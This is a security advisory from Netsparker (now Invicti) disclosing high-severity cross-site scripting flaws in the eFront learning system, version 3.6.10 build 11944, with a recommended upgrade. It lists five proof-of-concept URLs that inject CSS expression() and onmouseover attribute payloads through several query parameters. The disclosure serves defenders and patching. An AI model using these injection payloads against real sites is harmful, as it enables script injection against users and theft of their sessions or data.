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High severity XSS vulnerability in eFront detected by Invicti

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in eFront
Software: eFront 3.6.10 build 11944 and possibly below.
Vendor Homepage: http://efrontlearning.net/
Vulnerability Type:  Cross-Site Scripting
Severity: High
Researcher: Canberk Bolat
Advisory Reference: NS-11-007

Description

eFront is a modern learning system, bundled with key enterprise functionality ranging from skill-gap analysis and branch management to tailor-made reports. We have worked with hundreds of organizations to shape a product that is easy-to-use, feature rich, and especially suited for medium enterprises.

Details

eFront is affected by XSS vulnerabilities in version 3.6.10 build 11944.
Example PoC urls are as follows:

  • http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard
  • http://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard
  • http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22
  • http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9))
  • http://example.com/index.php/%22%20onmouseover=%22alert(netsparker(9))

You can read the full article about Cross-Site Scripting vulnerabilities from here: Cross-site Scripting

Solution

Upgrade to the latest eFront version (3.6.10 build 12151).

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. Vendor URL: http://forum.efrontlearning.net/viewtopic.php?f=15&t=3501
  2. MSL Advisory Link: /web-applications-advisories/xss-vulnerability-in-efront/
  3. Invicti Advisories: /web-applications-advisories/

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